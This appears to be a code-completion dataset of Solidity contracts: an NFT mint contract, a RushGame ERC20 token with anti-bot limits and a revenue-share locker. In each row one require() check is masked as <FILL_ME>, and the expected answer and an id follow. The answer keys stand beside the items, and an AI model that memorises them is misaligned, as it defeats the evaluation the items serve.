function getCost() public view returns (uint256) {
}
function setStartTime(uint256 _startTime) external onlyOwner {
}
function setogSupply(uint256 ogSupply) external onlyOwner {
}
function setWLStartTime(uint256 WLstartTime) external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function setwhiteListActive() external onlyOwner {
}
function setwhiteListInActive() external onlyOwner {
}
function setMaxMintPerUser(uint256 _maxMintPerUser) external onlyOwner {
}
function addSingleWhiteList(address _addr) public onlyOwner {
}
function changeprojectfunds(address newaddr) public {
}
function addMultipleToWhiteList(address[] memory addresses) external onlyOwner {
}
function isInWhiteList(address _addr) private view returns (bool) {
}
function mint(uint256 _mintAmount) public payable {
}
function WhiteListMint(uint256 _mintAmount) public payable wlmintCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setogCost(uint256 _ogcost) public onlyOwner {
}
function setWLCost(uint256 _wlcost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public {
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
|
balanceOf(msg.sender)+_mintAmount<=maxMintPerUser,"Please Lower Amount"
| 143,891 |
balanceOf(msg.sender)+_mintAmount<=maxMintPerUser
|
"No more OG's left!"
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
contract MultiMint is ERC721, Ownable {
//curated for Boujee Bullies
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 private cost = 0.08 ether;
uint256 public wlcost = 0.08 ether;
uint256 private ogcost = 0.08 ether;
uint256 public maxSupply = 10000;
uint256 public _ogSupply = 500;
uint256 public maxMintAmountPerTx = 10;
uint256 public maxMintPerUser = 10000;
bool public whiteListActive = false;
mapping(address => bool) public _whitelist;
address private projectfunds = 0x374bf71055aE2CCa77F7fC69695c5025601f0472;
uint256 public startTime = 1648818000;
uint256 public _WLstartTime;
bool public paused = true;
bool public revealed = false;
constructor() ERC721("Boujee Bullies", "Boujee Bullies") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier wlmintCompliance(uint256 _mintAmount) {
}
function getCost() public view returns (uint256) {
}
function setStartTime(uint256 _startTime) external onlyOwner {
}
function setogSupply(uint256 ogSupply) external onlyOwner {
}
function setWLStartTime(uint256 WLstartTime) external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function setwhiteListActive() external onlyOwner {
}
function setwhiteListInActive() external onlyOwner {
}
function setMaxMintPerUser(uint256 _maxMintPerUser) external onlyOwner {
}
function addSingleWhiteList(address _addr) public onlyOwner {
}
function changeprojectfunds(address newaddr) public {
}
function addMultipleToWhiteList(address[] memory addresses) external onlyOwner {
}
function isInWhiteList(address _addr) private view returns (bool) {
}
function mint(uint256 _mintAmount) public payable {
require(block.timestamp >= startTime,"The sale has not started yet.");
if(supply.current() + _mintAmount <= 500){
require(msg.value == ogcost * _mintAmount, "Insufficient funds!");
require(<FILL_ME>)
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(balanceOf(msg.sender)+_mintAmount <= maxMintPerUser, "Please Lower Amount");
}else{
require(!paused, "The contract is paused!");
require(msg.value == cost * _mintAmount, "Insufficient funds!");
require(balanceOf(msg.sender)+_mintAmount <= maxMintPerUser, "Please Lower Amount");
require(_mintAmount > 0 && _mintAmount <= maxMintAmountPerTx, "Invalid mint amount!");
require(supply.current() + _mintAmount <= maxSupply, "Max supply exceeded!");
require(balanceOf(msg.sender)+_mintAmount <= maxMintPerUser, "Please Lower Amount");
}
_mintLoop(msg.sender, _mintAmount);
}
function WhiteListMint(uint256 _mintAmount) public payable wlmintCompliance(_mintAmount) {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setogCost(uint256 _ogcost) public onlyOwner {
}
function setWLCost(uint256 _wlcost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public {
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
|
supply.current()+_mintAmount<=_ogSupply,"No more OG's left!"
| 143,891 |
supply.current()+_mintAmount<=_ogSupply
|
"The contract is paused!"
|
//SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
contract MultiMint is ERC721, Ownable {
//curated for Boujee Bullies
using Strings for uint256;
using Counters for Counters.Counter;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 private cost = 0.08 ether;
uint256 public wlcost = 0.08 ether;
uint256 private ogcost = 0.08 ether;
uint256 public maxSupply = 10000;
uint256 public _ogSupply = 500;
uint256 public maxMintAmountPerTx = 10;
uint256 public maxMintPerUser = 10000;
bool public whiteListActive = false;
mapping(address => bool) public _whitelist;
address private projectfunds = 0x374bf71055aE2CCa77F7fC69695c5025601f0472;
uint256 public startTime = 1648818000;
uint256 public _WLstartTime;
bool public paused = true;
bool public revealed = false;
constructor() ERC721("Boujee Bullies", "Boujee Bullies") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
modifier wlmintCompliance(uint256 _mintAmount) {
}
function getCost() public view returns (uint256) {
}
function setStartTime(uint256 _startTime) external onlyOwner {
}
function setogSupply(uint256 ogSupply) external onlyOwner {
}
function setWLStartTime(uint256 WLstartTime) external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function setwhiteListActive() external onlyOwner {
}
function setwhiteListInActive() external onlyOwner {
}
function setMaxMintPerUser(uint256 _maxMintPerUser) external onlyOwner {
}
function addSingleWhiteList(address _addr) public onlyOwner {
}
function changeprojectfunds(address newaddr) public {
}
function addMultipleToWhiteList(address[] memory addresses) external onlyOwner {
}
function isInWhiteList(address _addr) private view returns (bool) {
}
function mint(uint256 _mintAmount) public payable {
}
function WhiteListMint(uint256 _mintAmount) public payable wlmintCompliance(_mintAmount) {
require(<FILL_ME>)
require(msg.value == wlcost * _mintAmount, "Insufficient funds!");
require(_whitelist[msg.sender], "You are not on the WhiteList");
_mintLoop(msg.sender, _mintAmount);
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setogCost(uint256 _ogcost) public onlyOwner {
}
function setWLCost(uint256 _wlcost) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public {
}
function _mintLoop(address _receiver, uint256 _mintAmount) internal {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
|
!whiteListActive,"The contract is paused!"
| 143,891 |
!whiteListActive
|
"Buy amount higher than 2%"
|
// SPDX-License-Identifier: MIT
/*
Rush Game $RUSH
Twitter (X):
https://x.com/RushTokenWEB3
https://x.com/loaded_eth
Website:
https://rushgametoken.com/
Instagram:
https://www.instagram.com/rushtoken.official/
Telegram:
https://t.me/rushplaytoken
βββββββ βββ ββββββββββββββ βββ
βββββββββββ ββββββββββββββ βββ
βββββββββββ βββββββββββββββββββ
βββββββββββ βββββββββββββββββββ
βββ βββββββββββββββββββββββ βββ
βββ βββ βββββββ βββββββββββ βββ
*/
pragma solidity >=0.4.22 <0.9.0;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20Burnable} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import {IUniswapV2Factory} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract RushGame is ERC20Burnable, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
IUniswapV2Router02 public uniswapRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
address public treasuryAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public blockForPenaltyEnd;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 public buyTreasuryFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public sellTreasuryFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
uint256 public tokensForTreasury;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event UpdatedTreasuryAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
event UpdatedPrivateMaxSell(uint256 amount);
constructor(address _router) payable ERC20("RushGame", "RUSH") {
}
receive() external payable {}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Max buy amount lower than 0.5%"
);
require(<FILL_ME>)
maxBuyAmount = newNum * (10**18);
emit UpdatedMaxBuyAmount(maxBuyAmount);
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(
uint256 _operationsFee,
uint256 _liquidityFee,
uint256 _treasuryFee
) external onlyOwner {
}
function updateSellFees(
uint256 _operationsFee,
uint256 _liquidityFee,
uint256 _treasuryFee
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
}
function setTreasuryAddress(address _treasuryAddress) external onlyOwner {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
// remove limits after token is stable
function setLimits(bool _limits) external onlyOwner {
}
function addLP(bool confirmAddLp) external onlyOwner {
}
}
|
newNum<=((totalSupply()*2)/100)/1e18,"Buy amount higher than 2%"
| 144,003 |
newNum<=((totalSupply()*2)/100)/1e18
|
"Cannot set max wallet amount higher than 5%"
|
// SPDX-License-Identifier: MIT
/*
Rush Game $RUSH
Twitter (X):
https://x.com/RushTokenWEB3
https://x.com/loaded_eth
Website:
https://rushgametoken.com/
Instagram:
https://www.instagram.com/rushtoken.official/
Telegram:
https://t.me/rushplaytoken
βββββββ βββ ββββββββββββββ βββ
βββββββββββ ββββββββββββββ βββ
βββββββββββ βββββββββββββββββββ
βββββββββββ βββββββββββββββββββ
βββ βββββββββββββββββββββββ βββ
βββ βββ βββββββ βββββββββββ βββ
*/
pragma solidity >=0.4.22 <0.9.0;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20Burnable} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import {IUniswapV2Factory} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract RushGame is ERC20Burnable, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
IUniswapV2Router02 public uniswapRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
address public treasuryAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public blockForPenaltyEnd;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 public buyTreasuryFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public sellTreasuryFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
uint256 public tokensForTreasury;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event UpdatedTreasuryAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
event UpdatedPrivateMaxSell(uint256 amount);
constructor(address _router) payable ERC20("RushGame", "RUSH") {
}
receive() external payable {}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(
newNum >= ((totalSupply() * 5) / 1000) / 1e18,
"Cannot set max wallet amount lower than 0.5%"
);
require(<FILL_ME>)
maxWallet = newNum * (10**18);
emit UpdatedMaxWalletAmount(maxWallet);
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(
uint256 _operationsFee,
uint256 _liquidityFee,
uint256 _treasuryFee
) external onlyOwner {
}
function updateSellFees(
uint256 _operationsFee,
uint256 _liquidityFee,
uint256 _treasuryFee
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
}
function setTreasuryAddress(address _treasuryAddress) external onlyOwner {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
// remove limits after token is stable
function setLimits(bool _limits) external onlyOwner {
}
function addLP(bool confirmAddLp) external onlyOwner {
}
}
|
newNum<=((totalSupply()*5)/100)/1e18,"Cannot set max wallet amount higher than 5%"
| 144,003 |
newNum<=((totalSupply()*5)/100)/1e18
|
"_transfer:: Transfer Delay enabled. Try again later."
|
// SPDX-License-Identifier: MIT
/*
Rush Game $RUSH
Twitter (X):
https://x.com/RushTokenWEB3
https://x.com/loaded_eth
Website:
https://rushgametoken.com/
Instagram:
https://www.instagram.com/rushtoken.official/
Telegram:
https://t.me/rushplaytoken
βββββββ βββ ββββββββββββββ βββ
βββββββββββ ββββββββββββββ βββ
βββββββββββ βββββββββββββββββββ
βββββββββββ βββββββββββββββββββ
βββ βββββββββββββββββββββββ βββ
βββ βββ βββββββ βββββββββββ βββ
*/
pragma solidity >=0.4.22 <0.9.0;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC20Burnable} from "@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol";
import {IUniswapV2Factory} from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import {IUniswapV2Router02} from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract RushGame is ERC20Burnable, Ownable {
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWallet;
IUniswapV2Router02 public uniswapRouter;
address public lpPair;
bool private swapping;
uint256 public swapTokensAtAmount;
address public operationsAddress;
address public treasuryAddress;
uint256 public tradingActiveBlock = 0; // 0 means trading is not active
uint256 public blockForPenaltyEnd;
bool public limitsInEffect = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Anti-bot and anti-whale mappings and variables
mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
bool public transferDelayEnabled = true;
uint256 public buyTotalFees;
uint256 public buyOperationsFee;
uint256 public buyLiquidityFee;
uint256 public buyTreasuryFee;
uint256 public sellTotalFees;
uint256 public sellOperationsFee;
uint256 public sellLiquidityFee;
uint256 public sellTreasuryFee;
uint256 public tokensForOperations;
uint256 public tokensForLiquidity;
uint256 public tokensForTreasury;
/******************/
// exlcude from fees and max transaction amount
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
// store addresses that a automatic market maker pairs. Any transfer *to* these addresses
// could be subject to a maximum transfer amount
mapping(address => bool) public automatedMarketMakerPairs;
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event EnabledTrading();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedOperationsAddress(address indexed newWallet);
event UpdatedTreasuryAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event OwnerForcedSwapBack(uint256 timestamp);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
event TransferForeignToken(address token, uint256 amount);
event UpdatedPrivateMaxSell(uint256 amount);
constructor(address _router) payable ERC20("RushGame", "RUSH") {
}
receive() external payable {}
function enableTrading(uint256 blocksForPenalty) external onlyOwner {
}
// disable Transfer delay - cannot be reenabled
function disableTransferDelay() external onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
}
// change the minimum amount of tokens to sell from fees
function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
}
function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
}
function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
}
function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
}
function updateBuyFees(
uint256 _operationsFee,
uint256 _liquidityFee,
uint256 _treasuryFee
) external onlyOwner {
}
function updateSellFees(
uint256 _operationsFee,
uint256 _liquidityFee,
uint256 _treasuryFee
) external onlyOwner {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "amount must > 0");
if (!tradingActive) {
require(
_isExcludedFromFees[from] || _isExcludedFromFees[to],
"Trading is not active."
);
}
if (limitsInEffect) {
if (
from != owner() &&
to != owner() &&
to != address(0xdead) &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
if (transferDelayEnabled) {
if (to != address(uniswapRouter) && to != address(lpPair)) {
require(<FILL_ME>)
_holderLastTransferTimestamp[tx.origin] = (block.number);
_holderLastTransferTimestamp[to] = (block.number);
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy.");
require(amount + balanceOf(to) <= maxWallet, "Max Wallet Exceeded");
}
//when sell
else if (
automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]
) {
require(amount <= maxSellAmount, "Sell transfer amount > max sell.");
} else if (!_isExcludedMaxTransactionAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max Wallet Exceeded");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (canSwap && swapEnabled && !swapping && automatedMarketMakerPairs[to]) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// bot/sniper penalty.
if (
(earlyBuyPenaltyInEffect() ||
(amount >= maxBuyAmount - .9 ether &&
blockForPenaltyEnd + 8 >= block.number)) &&
automatedMarketMakerPairs[from] &&
!automatedMarketMakerPairs[to] &&
!_isExcludedFromFees[to] &&
buyTotalFees > 0
) {
if (!earlyBuyPenaltyInEffect()) {
// reduce by 1 wei per max buy over what Uniswap will allow to revert bots as best as possible to limit erroneously blacklisted wallets. First bot will get in and be blacklisted, rest will be reverted (*cross fingers*)
maxBuyAmount -= 1;
}
// In this case (5) the end number controls how quickly the decay of taxes happens
fees = (amount * 999) / (1000 + (block.number - tradingActiveBlock) * 100);
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
tokensForTreasury += (fees * buyTreasuryFee) / buyTotalFees;
}
// on sell
else if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
fees = (amount * sellTotalFees) / 100;
tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
tokensForOperations += (fees * sellOperationsFee) / sellTotalFees;
tokensForTreasury += (fees * sellTreasuryFee) / sellTotalFees;
}
// on buy
else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = (amount * buyTotalFees) / 100;
tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
tokensForOperations += (fees * buyOperationsFee) / buyTotalFees;
tokensForTreasury += (fees * buyTreasuryFee) / buyTotalFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function earlyBuyPenaltyInEffect() public view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
// withdraw ETH if stuck or someone sends to the address
function withdrawStuckETH() external onlyOwner {
}
function setOperationsAddress(address _operationsAddress) external onlyOwner {
}
function setTreasuryAddress(address _treasuryAddress) external onlyOwner {
}
// force Swap back if slippage issues.
function forceSwapBack() external onlyOwner {
}
// remove limits after token is stable
function setLimits(bool _limits) external onlyOwner {
}
function addLP(bool confirmAddLp) external onlyOwner {
}
}
|
_holderLastTransferTimestamp[tx.origin]<(block.number)&&_holderLastTransferTimestamp[to]<(block.number),"_transfer:: Transfer Delay enabled. Try again later."
| 144,003 |
_holderLastTransferTimestamp[tx.origin]<(block.number)&&_holderLastTransferTimestamp[to]<(block.number)
|
'Not a locker'
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import './RevenueShareBase.sol';
import '../Constants.sol' as Constants;
import '../DataStructures.sol' as DataStructures;
contract ITPRevenueShare is RevenueShareBase {
/**
* @dev Locker account list
*/
address[] public lockerList;
/**
* @dev Locker account indices
*/
mapping(address /*account*/ => DataStructures.OptionalValue /*lockerIndex*/)
public lockerIndexMap;
/**
* @notice Emitted when the locker status for the account is updated
* @param account The account address
* @param value The locker status flag
*/
event SetLocker(address indexed account, bool indexed value);
constructor(address _lockToken, uint256 _lockDuration) RevenueShareBase(_lockDuration) {
}
/**
* @dev Modifier to check if the caller is a registered locker
*/
modifier onlyLocker() {
require(<FILL_ME>)
_;
}
/**
* @dev Add rewards token to the list
* @param _rewardsToken is the reward token address
*/
function addReward(address _rewardsToken) external override onlyOwner {
}
/**
* @dev lock `lockToken` tokens to receive rewards in USDC and USDT
* 50% can be from a farm or just a simple lock from the user
* @param _amount is the number of `lockToken` tokens
*/
function lock(uint256 _amount) external whenNotPaused {
}
/**
* @dev lock `lockToken` tokens to receive rewards in USDC and USDT
* 50% can be from a farm or just a simple lock from the user
* @param _amount is the number of `lockToken` tokens
* @param _onBehalfOf is the address who sent the _amount of tokens for locking
*/
function lock(uint256 _amount, address _onBehalfOf) external whenNotPaused onlyLocker {
}
/**
* @notice Updates the locker status for the account
* @param _account The account address
* @param _value The locker status flag
*/
function setLocker(address _account, bool _value) external onlyOwner {
}
/**
* @notice Getter of registered locker count
* @return Registered locker count
*/
function lockerCount() external view returns (uint256) {
}
/**
* @notice Getter of the complete list of registered lockers
* @return The complete list of registered lockers
*/
function fullLockerList() external view returns (address[] memory) {
}
/**
* @notice Getter of the locker status by the account address
* @param _account The account address
* @return The locker status
*/
function isLocker(address _account) public view returns (bool) {
}
/**
* @dev return unseen amount of tokens
* @param _token is the provided token address
* @param _balance is the provided current balance for the token
*/
function _unseen(
address _token,
uint256 _balance
) internal view override returns (uint256 unseen) {
}
}
|
isLocker(msg.sender),'Not a locker'
| 144,025 |
isLocker(msg.sender)
|
'This token already exists as a reward token'
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import '@openzeppelin/contracts/token/ERC20/IERC20.sol';
import './RevenueShareBase.sol';
import '../Constants.sol' as Constants;
import '../DataStructures.sol' as DataStructures;
contract ITPRevenueShare is RevenueShareBase {
/**
* @dev Locker account list
*/
address[] public lockerList;
/**
* @dev Locker account indices
*/
mapping(address /*account*/ => DataStructures.OptionalValue /*lockerIndex*/)
public lockerIndexMap;
/**
* @notice Emitted when the locker status for the account is updated
* @param account The account address
* @param value The locker status flag
*/
event SetLocker(address indexed account, bool indexed value);
constructor(address _lockToken, uint256 _lockDuration) RevenueShareBase(_lockDuration) {
}
/**
* @dev Modifier to check if the caller is a registered locker
*/
modifier onlyLocker() {
}
/**
* @dev Add rewards token to the list
* @param _rewardsToken is the reward token address
*/
function addReward(address _rewardsToken) external override onlyOwner {
require(<FILL_ME>)
require(
rewardTokens.length < Constants.LIST_SIZE_LIMIT_DEFAULT,
'Reward token list: size limit exceeded'
);
rewardTokens.push(_rewardsToken);
rewardData[_rewardsToken].lastUpdateTime = block.timestamp;
rewardData[_rewardsToken].periodFinish = block.timestamp;
}
/**
